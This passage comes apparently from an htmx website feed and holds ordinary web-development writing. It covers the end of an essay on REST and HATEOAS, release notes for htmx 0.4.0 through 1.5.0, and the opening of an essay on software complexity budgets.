</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/contacts/42/edit"</span><span>>Edit</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/contacts/42/email"</span><span>>Email</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/contacts/42/archive"</span><span>>Archive</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">p</span><span>>
</span><span> </</span><span style="color:#e06c75;">section</span><span>>
</span><span></</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>Here we have a basic bit of html, with some divs, a bit of information and then some anchor tags to perform various
operations on a contact. Nothing fancy. Again, for the discussion, imagine this content could be found at
<a rel="noopener" target="_blank" href="http://example.com/contacts/42">http://example.com/contacts/42</a>.</p>
<p>Back to the dissertation:</p>
<blockquote>
<p>REST is defined by four interface constraints: identification of resources; manipulation of resources through
representations; self-descriptive messages; and, hypermedia as the engine of application state.</p>
</blockquote>
<p>Let’s go through each of these in turn.</p>
<h4 id="identification-of-resources"><a class="zola-anchor" href="#identification-of-resources" aria-label="Anchor link for: identification-of-resources">#</a>Identification of Resources</h4>
<p>The first aspect of Rest is the idea of <em>resources</em> that are found somewhere via… well, <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL">Universal Resource Locators</a>, or URLs. Note that the HTML contains additional URLs for the actions that you can perform on this
resource (<code>contacts/1</code>), following the conventional hierarchical arrangement of URL paths.</p>
<h4 id="manipulation-of-resources-through-representations"><a class="zola-anchor" href="#manipulation-of-resources-through-representations" aria-label="Anchor link for: manipulation-of-resources-through-representations">#</a>Manipulation of Resources Through Representations</h4>
<p>This sounds fancy, but it just means that you can update and mutate the resource (that is, the contact) through various
representations (that is HTML pages) rather than having to issues, say, SQL, to modify it.</p>
<h4 id="self-descriptive-messages"><a class="zola-anchor" href="#self-descriptive-messages" aria-label="Anchor link for: self-descriptive-messages">#</a>Self Descriptive Messages</h4>
<p>This is a key concept of REST. Note that the browser, which is the client in this client-server setup, <em>knows nothing
about contacts</em>. And yet it is able to render a “Contact UI” simply by rendering the HTML returned by the server. The
message itself is entirely self-describing, containing all information the client needs about both the data and the possible
operations on that data (in the form of links.)</p>
<p>Now, contrast this with a JSON representation of the same data:</p>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span> {
</span><span> </span><span style="color:#98c379;">"name" </span><span>: </span><span style="color:#98c379;">"Joe Blow"</span><span>,
</span><span> </span><span style="color:#98c379;">"email" </span><span>: </span><span style="color:#98c379;">"joe@example.com"
</span><span> }
</span></code></pre>
<p>Obviously this is smaller, but a client working with this data must decide two crucial things:</p>
<ul>
<li>How to render it</li>
<li>What actions are available to mutate it</li>
</ul>
<p>The first part is typically done with a client side template. The second is typically done by reading the documentation
for the API and encoding the interactions with the server directly in the client.</p>
<p>This is the crux of the difference between REST-ful systems and traditional client-server system: in the REST-ful system
the client (i.e. the browser) doesn’t know anything about the resource, it just knows how to render a hypermedia. In
the client-server system, knowledge about the resource is embedded in the client.</p>
<p>There are pros and cons to both approaches, but the REST-ful approach, in the form of the early web, proved to be
extremely reliable and flexible. It hides a tremendous amount of knowledge about the resources behind this <em>uniform
interface</em> of HTML, so the client doesn’t have the opportunity to break in the way the thick-client does.</p>
<p>Now, you may have noticed that, in the last decade, web development has trended away from the REST-ful architecture
and towards a more traditional client-server setup, using JSON APIs. And you may have noticed a lot more discussion and
issues around versioning APIs, providing more general query functionality and so on. This is not accidental: we are
losing the flexibility of the REST-ful model as we turn the browser into a VM for hosting thick client applications.</p>
<h4 id="hypermedia-as-the-engine-of-application-state-hateoas"><a class="zola-anchor" href="#hypermedia-as-the-engine-of-application-state-hateoas" aria-label="Anchor link for: hypermedia-as-the-engine-of-application-state-hateoas">#</a>Hypermedia As The Engine of Application State (HATEOAS)</h4>
<p>This last concept dovetails with the previous one: clients transition application state by interacting with URLs
found in the hypermedia itself (via forms and links). So, in the HTML example above, the ability to edit, email
and archive the contact all encoded as anchors in the HTML. If one of those actions was not available, or a new
one became available, it would come down in a new bit of HTML, after a page refresh.</p>
<p>This is in contrast with a thick client approach where, for example, a local store may be sync’d asynchronously with
a back end and, thus, the HTML is not acting as the engine of application state, but rather as a (somewhat janky)
UI description language.</p>
<p>Somewhat hilariously, the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/HATEOAS">Wikipedia article on HATEOAS</a> uses JSON, which is not
a natural hypermedia. You can layer some REST-ful behavior on top of JSON if you want, but it has rarely been useful
in the real world, and HATEOAS is usually ignored in JSON APIs. This makes sense because JSON APIs are useful mainly
for the traditional client-server architecture and aren’t particularly amenable to the REST-ful style.</p>
<h4 id="uniform-interface-summary"><a class="zola-anchor" href="#uniform-interface-summary" aria-label="Anchor link for: uniform-interface-summary">#</a>Uniform Interface Summary</h4>
<p>That’s the crux of REST and really the crux of this essay. You can read on for a bit more detail and analysis of Fieldings
paper, but the core take away here is that there is a sharp distinction between a REST-ful hypermedia architecture and
traditional client-server architectures, and that distinction revolves mainly around the concept of a uniform interface,
and the self-describing nature of them in particular.</p>
<p>Again, don’t get bogged down in the jargon here, just think about this HTML and what a miracle of flexibility and
ingenuity it is:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>
</span><span> Name: Joe Blow
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>
</span><span> Email: joe@blow.com
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/contacts/42/edit"</span><span>>Edit</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/contacts/42/email"</span><span>>Email</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/contacts/42/archive"</span><span>>Archive</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span></</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<h3 id="layered-system"><a class="zola-anchor" href="#layered-system" aria-label="Anchor link for: layered-system">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_6">Layered System</a></h3>
<p>You don’t need to know much about this, except that <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Content_delivery_network">CDNs exist</a>, and you should use them.</p>
<h3 id="code-on-demand"><a class="zola-anchor" href="#code-on-demand" aria-label="Anchor link for: code-on-demand">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7">Code-On-Demand</a></h3>
<p>Again, you don’t need to know much about this, except that <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/javascript">Javascript exists</a>, and
that it’s the only part that’s optional.</p>
<h2 id="section-5-2-rest-architectural-elements"><a class="zola-anchor" href="#section-5-2-rest-architectural-elements" aria-label="Anchor link for: section-5-2-rest-architectural-elements">#</a>Section 5.2 - <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_2">REST Architectural Elements</a></h2>
<p>I won’t drill in as deeply on this section as we did others because it gets pretty technical and, frankly, is a bit
boring and repetitive (as one might expect from a dissertation.) The two big ideas in this section are Resources and
Representations.</p>
<h2 id="section-5-2-1-resources-and-resource-identifiers"><a class="zola-anchor" href="#section-5-2-1-resources-and-resource-identifiers" aria-label="Anchor link for: section-5-2-1-resources-and-resource-identifiers">#</a>Section 5.2.1 - <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_2">Resources and Resource Identifiers</a></h2>
<p>From the paper:</p>
<blockquote>
<p>The key abstraction of information in REST is a resource. Any information that can be named can be a resource: a document
or image, a temporal service (e.g. “today’s weather in Los Angeles”), a collection of other resources, a
non-virtual object (e.g. a person), and so on. </p>
</blockquote>
<p>Practically, a resource is anything that can be addressed by a URL. What happens when you access a URL?</p>
<p>Well, you get back a <em>representation</em> of that resource, in the form of an HTTP response that may contain HTML, directives
and so forth.</p>
<h2 id="section-5-2-1-representations"><a class="zola-anchor" href="#section-5-2-1-representations" aria-label="Anchor link for: section-5-2-1-representations">#</a>Section 5.2.1 - <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_2">Representations</a></h2>
<p>I don’t find a lot of practical use in this section. There is some stuff on control data, media types and so forth,
which are all worth learning about eventually when needed, but aren’t a commonly used aspect of web development.</p>
<p>The remaining sections 5.2 similarly do not offer much to the generalist.</p>
<h2 id="section-5-3-rest-architectural-views"><a class="zola-anchor" href="#section-5-3-rest-architectural-views" aria-label="Anchor link for: section-5-3-rest-architectural-views">#</a>Section 5.3 - <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_3">REST Architectural Views</a></h2>
<p>In what is becoming a pattern, I again do not feel there is a lot of useful new information for the average web
developer in this section, with one big exception: it lays out the benefits of REST.</p>
<p>From the paper:</p>
<blockquote>
<p>REST’s client-server separation of concerns simplifies component implementation, reduces the complexity of connector semantics,
improves the effectiveness of performance tuning, and increases the scalability of pure server components.
Layered system constraints allow intermediaries–proxies, gateways, and firewalls–to be introduced at various points
in the communication without changing the interfaces between components, thus allowing them to assist in communication
translation or improve performance via large-scale, shared caching. REST enables intermediate processing by constraining
messages to be self-descriptive: interaction is stateless between requests, standard methods and media types are used
to indicate semantics and exchange information, and responses explicitly indicate cacheability.</p>
</blockquote>
<p>This is all very true, and is why the web has been so successful and will continue to be successful.</p>
<h2 id="sections-5-4-5-5-related-work-summary"><a class="zola-anchor" href="#sections-5-4-5-5-related-work-summary" aria-label="Anchor link for: sections-5-4-5-5-related-work-summary">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_4">Sections 5.4</a> & <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_5">5.5</a> - Related Work & Summary</h2>
<p>These brief sections are not relevant to non-academics interested in REST. </p>
<h2 id="summary"><a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a>Summary</h2>
<p>So there you have it, a brief tour of Chapter 5 of Roy Fielding’s disseration, which gave us the term REST. I have
focused in on the areas that I think are most important for web developers to understand and tried to convey how
REST describes the original web model. The uniform interface concept is, in my opinion, the most important and interesting
aspect of REST, and is useful for web developers to understand as it is primarily responsible for the benefits described
above.</p>
<p>Finally, I hope you can see how inappropriate REST is for describing most JSON APIs in use today.</p>
htmx 1.5.0 has been released!2021-07-12T00:00:00+00:002021-07-12T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-7-12-htmx-1-5-0-is-released/<h2 id="htmx-1-5-0-release">htmx 1.5.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.5.0/">1.5.0 release</a> of htmx.</p>
<h3 id="new-features-major-changes">New Features & Major Changes</h3>
<ul>
<li>Support tracking of button clicked during a form submission</li>
<li>Added the <a href="https://htmx.org/attributes/hx-request/">hx-request</a> attribute, allowing you to configure the following aspects of the request
<ul>
<li><code>timeout</code> - the timeout of the request</li>
<li><code>credentials</code> - if the request will send credentials</li>
<li><code>noHeaders</code> - strips all headers from the request</li>
</ul>
</li>
<li>Along with the above attribute, you can configure the default values for each of these via the corresponding <code>htmx.config</code>
properties (e.g. <code>htmx.config.timeout</code>)</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Conditional polling via the <a href="https://htmx.org/attributes/hx-trigger/">hx-trigger</a> attribute</li>
<li><code>document</code> is now a valid pseudo-selector on the <a href="https://htmx.org/attributes/hx-trigger/">hx-trigger</a> <code>from:</code> argument, allowing you
to listen for events on the document.</li>
<li>Both the <code>scroll</code> and <code>show</code> options on <a href="https://htmx.org/attributes/hx-swap/">hx-swap</a> now support extended syntax for selecting the
element to scroll or to show, including the pseudo-selectors <code>window:top</code> and <code>window:bottom</code>.</li>
</ul>
<p>Enjoy!</p>
htmx 1.4.0 has been released!2021-05-25T00:00:00+00:002021-05-25T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-5-25-htmx-1-4-0-is-released/<h2 id="htmx-1-4-0-release">htmx 1.4.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.4.0/">1.4.0 release</a> of htmx.</p>
<h3 id="new-features-major-changes">New Features & Major Changes</h3>
<ul>
<li>Added the <code>queue</code> option to the <a href="https://htmx.org/attributes/hx-trigger/">hx-trigger</a> attribute, allowing you to specify how events
should be queued when they are received with a request in flight</li>
<li>The <code>htmx.config.useTemplateFragments</code> option was added, allowing you to use HTML template tags for parsing content
from the server. This allows you to use Out of Band content when returning things like table rows, but it is not
IE11 compatible.</li>
<li>Introduced a new synthetic event, <a href="https://htmx.org/docs/#special-events">intersect</a> that allows you to trigger when an item is scrolled into view
as specified by the <code>IntersectionObserver</code> API</li>
<li>The <code>htmx.config.withCredentials</code> option was added, to send credentials with ajax requests (default is <code>false</code>)</li>
<li><code>hx-swap</code> now supports the <code>none</code> option</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>The <code>defaultSettleDelay</code> was dropped to 20ms from 100ms</li>
<li>Fixed timing issue that caused exceptions in the <code>reveal</code> logic when scrolling at incredible speeds - <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues/463">https://github.com/bigskysoftware/htmx/issues/463</a></li>
<li>Fixed bug causing SVG titles to be incorrectly used as page title - <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues/459">https://github.com/bigskysoftware/htmx/issues/459</a></li>
<li>Boosted forms that issue a GET will now push the URL by default - <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues/485">https://github.com/bigskysoftware/htmx/issues/485</a></li>
<li>Better dispatch of request events when an element is removed from the DOM</li>
<li>Fixed a bug causing <code>hx-prompt</code> to fail</li>
<li>The <code>throttle</code> option on <code>hx-trigger</code> does not delay the initial request any longer</li>
<li>The <code>meta</code> key is ignored on boosted links</li>
<li><code><script></code> tags are now evaluated in the global scope</li>
<li>Safari text selection bug - <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues/438">https://github.com/bigskysoftware/htmx/issues/438</a></li>
</ul>
<p>Enjoy!</p>
htmx 1.3.0 has been released!2021-03-06T00:00:00+00:002021-03-06T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-3-6-htmx-1-3-0-is-released/<h2 id="htmx-1-3-0-release">htmx 1.3.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.3.0/">1.3.0 release</a> of htmx.</p>
<h3 id="new-features-major-changes">New Features & Major Changes</h3>
<ul>
<li>Support a <code>target</code> modifier on <code>hx-trigger</code> to filter based on the element targeted by an event. This allows
lazy binding to that target selector.</li>
<li>Events are no longer consumed by the first element that might handle them, unless the <code>consume</code> keyword is
added to the <code>hx-trigger</code> specification</li>
<li>Added the <code>htmx:beforeSend</code> event, fired just before an ajax request begins</li>
<li><code>htmx.ajax()</code> now returns a promise</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>SSE swaps are properly settled</li>
<li>Fixed bug that was improperly cancelling all clicks on anchors</li>
</ul>
<p>Enjoy!</p>
htmx 1.2.0 has been released!2021-02-13T00:00:00+00:002021-02-13T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-2-13-htmx-1-2-0-is-released/<h2 id="htmx-1-2-0-release">htmx 1.2.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.2.0/">1.2.0 release</a> of htmx.</p>
<h3 id="new-features-major-changes">New Features & Major Changes</h3>
<ul>
<li><code>hx-vars</code> has been deprecated in favor of <code>hx-vals</code></li>
<li><code>hx-vals</code> now supports a <code>javascript:</code> prefix to achieve the behavior that <code>hx-vars</code> provided</li>
<li>The new <code>hx-headers</code> attribute allows you to add headers to a request via an attribute. Like <code>hx-vals</code> it supports
JSON or javascript via the <code>javascript:</code> prefix</li>
<li><code>hx-include</code> will now include all inputs under an element, even if that element is not a form tag</li>
<li>The <a href="https://htmx.org/extensions/preload/">preload extension</a> now offers a <code>preload-images="true"</code> attribute that will aggressively load images in preloaded content</li>
<li>On requests driven by a history cache miss, the new <code>HX-History-Restore-Request</code> header is included so that the server
can differentiate between history requests and normal requests </li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Improved handling of precedence of input values to favor the enclosing form (see <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/commit/a10e43d619dc340aa324d37772c06a69a2f47ec9">here</a>)</li>
<li>Moved event filtering logic <em>after</em> <code>preventDefault</code> so filtering still allows events to be properly handled</li>
<li>No longer trigger after swap events on elements that have been removed via an <code>outerHTML</code> swap</li>
<li>Properly remove event handlers added to other elements when an element is removed from the DOM</li>
<li>Handle the <code>scroll:</code> modifier in <code>hx-swap</code> properly when an <code>outerHTML</code> swap occurs</li>
<li>Lots of docs fixes</li>
</ul>
<p>Enjoy!</p>
htmx 1.1.0 has been released!2021-01-06T00:00:00+00:002021-01-06T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-1-6-htmx-1-1-0-is-released/<h2 id="htmx-1-1-0-release">htmx 1.1.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.1.0/">1.1.0 release</a> of htmx.</p>
<p>This is a surprisingly big release, but the star of the show isn’t htmx itself, but rather the new
<a href="https://htmx.org/extensions/preload/">preload extension</a> which allows you to preload requests into the cache,
cutting down on latency. (This extension is used in the htmx website!)</p>
<p>There are also new examples, including <a href="https://htmx.org/examples/keyboard-shortcuts/">keyboard shortcuts</a> and
<a href="https://htmx.org/examples/sortable/">drag and drop list reordering with Sortable.js</a>.</p>
<h3 id="changes">Changes</h3>
<ul>
<li>Newly added <a href="https://htmx.org/extensions/preload/">preload extension</a> allows you to preload resources for lower
latency requests!</li>
<li>Support the <code>ignore:</code> modifier for extensions</li>
<li>Updated form variable order inclusion to include the enclosing form <em>last</em> so that, in the presence of multiple
values, the most relevant value is the most likely to be selected by the server</li>
<li>Support for the <a href="https://htmx.org/api/#ajax"><code>htmx.ajax()</code></a> javascript function, to issue an htmx-style ajax
request from javascript</li>
<li>Removed the following htmx request headers for better cache behavior: <code>HX-Event-Target</code>, <code>HX-Active-Element</code>,
<code>HX-Active-Element-Name</code>, <code>HX-Active-Element-Value</code></li>
<li>Added the <a href="https://htmx.org/attributes/hx-preserve/"><code>hx-preserve</code></a> attribute, which allows
you to preserve elements across requests (for example, to keep a video element playing properly)</li>
<li>The <a href="https://htmx.org/extensions/path-deps/#refresh">path-deps</a> now surfaces a small api
for refreshing path dependencies manually in javascript</li>
<li>Now support the <code>from:</code> clause on <a href="https://htmx.org/attributes/hx-trigger/"><code>hx-trigger</code></a> to
allow an element to respond to events on other elements.</li>
<li>Added the <code>htmx:beforeProcessNode</code> event, renamed the (previously undocumented) <code>htmx:processedNode</code> to <code>htmx:afterProcessNode</code></li>
<li>Added <code>closest</code> syntax support for the <a href="https://htmx.org/attributes/hx-indicator/"><code>hx-indicator</code></a> attribute</li>
<li>Added <code>on load</code> support for the newest version of <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a></li>
<li>Added the <code>htmx.config.allowEval</code> configuration value, for CSP compatibility</li>
<li>Bug fixes & improvements </li>
</ul>
<p>Enjoy!</p>
htmx 1.0.0 has been released!2020-11-24T00:00:00+00:002020-11-24T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-11-24-htmx-1-0-0-is-released/<h2 id="htmx-1-0-0-release">htmx 1.0.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.0.0/">1.0.0 release</a> of htmx.</p>
<p>htmx is now mature enough that I can recommend it as a general replacement for intercooler.js
projects. I <strong>don’t</strong> think there is a strong reason to port an existing intercooler project to
htmx. I have several large intercooler apps and will not be moving them over any time soon. I can, however, recommend using htmx over intercooler for new projects.</p>
<p>htmx is a different sort of javascript library. It is an HTML & hypertext-oriented reply to the current dominance of javascript-based SPA libraries. It is a response to Tom MacWright’s question:
<a rel="noopener" target="_blank" href="https://macwright.com/2020/10/28/if-not-spas.html">“If not SPAs, What?”</a>.</p>
<p>As the <a href="https://htmx.org/">homepage says</a>:</p>
<ul>
<li>Why should only <code><a></code> and <code><form></code> be able to make HTTP requests?</li>
<li>Why should only <code>click</code> & <code>submit</code> events trigger them?</li>
<li>Why should only GET & POST be available?</li>
<li>Why should you only be able to replace the entire screen?</li>
</ul>
<p>HTML-oriented web development was abandoned not because hypertext was a bad idea, but rather because HTML didn’t have sufficient expressive power. htmx aims to fix that & allows you to implement <a href="https://htmx.org/examples/">many common modern web UI patterns</a> using the original hypertext model of the web.</p>
<h3 id="history-thanks">History & Thanks</h3>
<p>htmx began life as <a rel="noopener" target="_blank" href="https://intercoolerjs.org">intercooler.js</a> back in <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/intercooler-js/commit/62d3dbdb5c056ee866aba3575e148de649fc3efe">2013</a>.</p>
<p>In <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/commit/e38dea64dd1065003a0e833d7b469d24e6bc2919">april</a> of this year I began work on a jQuery-independent & improved version of intercoolerjs, renamed
to htmx. I chose to rename the library because, in working on intercooler, I had come to appreciate that intercooler & htmx were completing HTML as a hypertext rather than just some funky, idiosyncratic javascript libraries.</p>
<p>In <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/releases/tag/v0.0.1">May</a> htmx reached 0.0.1. Soon thereafter I had the good fortune of being contacted by <a rel="noopener" target="_blank" href="https://twitter.com/ben_pylo">Ben Croker</a>
who was interested in htmx as a base for his new reactive library, <a rel="noopener" target="_blank" href="https://putyourlightson.com/plugins/sprig">Sprig</a>. Ben was willing to be an early adopter of htmx and pushed the library along
much faster than it would have gone otherwise.</p>
<p>I have been very lucky to the have help and feedback from many contributors in <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/graphs/contributors">GitHub</a> and on <a rel="noopener" target="_blank" href="https://htmx.org/discord">Discord</a>. I’d like to thank, in particular, <a rel="noopener" target="_blank" href="https://github.com/benpate">Ben Pate</a>, <a rel="noopener" target="_blank" href="https://github.com/rschroll">Robert Schroll</a> & <a rel="noopener" target="_blank" href="https://github.com/jreviews">Alejandro Schmeichler</a> for contributing code as well as new ideas and discussions.</p>
<p>I would like to thank <a rel="noopener" target="_blank" href="https://devmode.fm/">Devmode.fm</a> for having me on to <a rel="noopener" target="_blank" href="https://devmode.fm/episodes/dynamic-html-with-htmx">talk about htmx</a> and for cleaning up all my “uhhs” and “umms”.</p>
<p>Finally, I would like to thank <a rel="noopener" target="_blank" href="https://github.com/jsampson">Justin Sampson</a>, who took a lot of time to explain REST & HATEOAS to me and how intercooler (and now htmx) fit into that model for web development.</p>
<h3 id="changes">Changes</h3>
<ul>
<li>I bumped the version number :)</li>
</ul>
<p>Enjoy!</p>
htmx 0.4.0 has been released!2020-11-16T00:00:00+00:002020-11-16T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-11-16-htmx-0-4-0-is-released/<h2 id="htmx-0-4-0-release">htmx 0.4.0 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.4.0/">0.4 release</a> of htmx.</p>
<h3 id="changes">Changes</h3>
<h4 id="new-features">New Features</h4>
<ul>
<li>Now support the <code>HX-Redirect</code> and <code>HX-Refresh</code> response headers for redirecting client side and triggering a page refresh, respectively</li>
<li><code>hx-vars</code> now overrides input values</li>
<li><code><title></code> tags in responses will be used to update page titles</li>
<li>All uses of <code>eval()</code> have been removed in favor of <code>Function</code></li>
<li><a href="https://htmx.org/attributes/hx-vals/"><code>hx-vals</code></a> is available as a save alternative to <code>hx-vars</code>. It uses <code>JSON.parse()</code> rather than evaluation, if you wish to safely pass user-provided values through to htmx.</li>
</ul>
<h4 id="bug-fixes">Bug Fixes</h4>
<ul>
<li>Eliminated perf issues around <code>hx-boost</code> in large pages that are not using that attribute</li>
<li>Fixed bug which prevented evaluation when a script tag was the leading content in a response</li>
</ul>
<p>Enjoy!</p>
Complexity Budget2020-10-29T00:00:00+00:002024-01-21T00:00:00+00:00Unknownhttps://htmx.org/essays/complexity-budget/<p>Every software project involves managing a complexity budget.</p>
<p>A complexity budget can be defined as:</p>
<blockquote>
<p>An explicit or implicit allocation of complexity across the entire application</p>
</blockquote>
<p>“Complexity” here is defined subjectively (rather than <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Programming_complexity">formally</a>)
and in <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/I_know_it_when_I_see_it">Stewartian Terms</a>: “I know it when I see it.”</p>
<p>Or, more specifically to software development: “I know it when I <em>feel</em> it.”</p>
<p>One of the primary jobs of an application architect is to manage a projects complexity budget:</p>
<ul>
<li>Decide if a given feature is “worth it”</li>
<li>Decide if a given implementation is “worth it”</li>
<li>Add appropriate system boundaries to limit complexity between components</li>
<li>And so on</li>
</ul>
<p>An infuriating aspect of complexity is that that attempts to address it can, in fact, add more complexity.</p>
<p>A good example of this from experience was when a company I worked at added <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/OSGi">OSGi</a> to the system to manage the
increasing complexity of the project. It seemed like a reasonable approach,
it offered a sophisticated <a rel="noopener" target="_blank" href="https://www.osgi.org/resources/what-is-osgi/">module</a> system,
it was recommended by a newly hired architect, and it even says on the “What is OSGI page”:</p>
<blockquote>
<p>OSGi significantly reduces complexity in almost all aspects of development: code is easier to write and test, reuse is
increased, build systems become significantly simpler, deployment is more manageable, bugs are detected early, and
the runtime provides an enormous insight into what is running.</p>
</blockquote>
<p>What’s not to like?</p>
<p>Unfortunately, adding OSGi to that project effectively ground the entire project to a halt: it took a few of our best
engineers out of normal application development for over a year, and when they were done the codebase was even more
difficult to work with than when they started. Feature velocity, already teetering, collapsed.</p>
<p>This is not to say OSGi is universally bad. But, in this case, rather than boosting our development teams productivity,
it effectively ended it.</p>
<p>A good software architect is someone who manages the software budget of their project effectively, either explicitly or
implicitly.</p>
<h2 id="complexity-growth"><a class="zola-anchor" href="#complexity-growth" aria-label="Anchor link for: complexity-growth">#</a>Complexity Growth</h2>
<p>My sense, admittedly without hard evidence, is that Stewartian Application Complexity grows roughly geometrically with
the size of an application. Proper <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Decomposition_(computer_science)">factoring</a> by
experienced developers can hold this curve down for quite some time.</p>
<p>However, this doesn’t change the fact that, somewhere out there, there is a Complexity Wall lurking.</p>
<p>And, if you aren’t careful, you will run headlong into it and grind your development velocity to a halt.</p>
<p>I have had multiple experiences with this: one day, inexplicably, development on a system that I was working on went
from feeling “large, but manageable” to “this is impossible to deal with”.</p>
<h2 id="spending-your-complexity-budget-wisely"><a class="zola-anchor" href="#spending-your-complexity-budget-wisely" aria-label="Anchor link for: spending-your-complexity-budget-wisely">#</a>Spending Your Complexity Budget Wisely</h2>
<p>Here are some tools for managing your complexity budget:</p>
<ol>
<li>Foremost: understanding that there <em>is</em> a complexity budget that needs to be managed</li>
<li>Focus your “complexity spend” on the areas where your application is adding value and/or differentiates itself</li>
<li>Saying “No” - probably the easiest, best and, also, hardest tool to use in your battle with complexity</li>
<li>Embracing <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/KISS_principle">KISS</a>, even if it means admitting you are stupid (Note that it’s often very good for an organization if the senior developers can admit they are fallible)</li>
<li>Proper factoring of components - this is an art: Too many components and your complexity explodes. Too few… same. </li>
<li>Choosing the proper balance of expressiveness and restrictions for a component</li>
</ol>
<p>Unfortunately, experience shows that managing Stewartian Complexity is a subjective endeavor and that many talented and
experience developers will disagree on the proper course of action at a given decision point.</p>
<p>Nonetheless, by making the concept of a complexity budget explicit in your software project, these conversations can be
more productive and ultimately lead to better software outcomes.</p>
<h2 id="a-final-note"><a class="zola-anchor" href="#a-final-note" aria-label="Anchor link for: a-final-note">#</a>A Final Note</h2>
<p>Almost all mature applications are complex.</p>
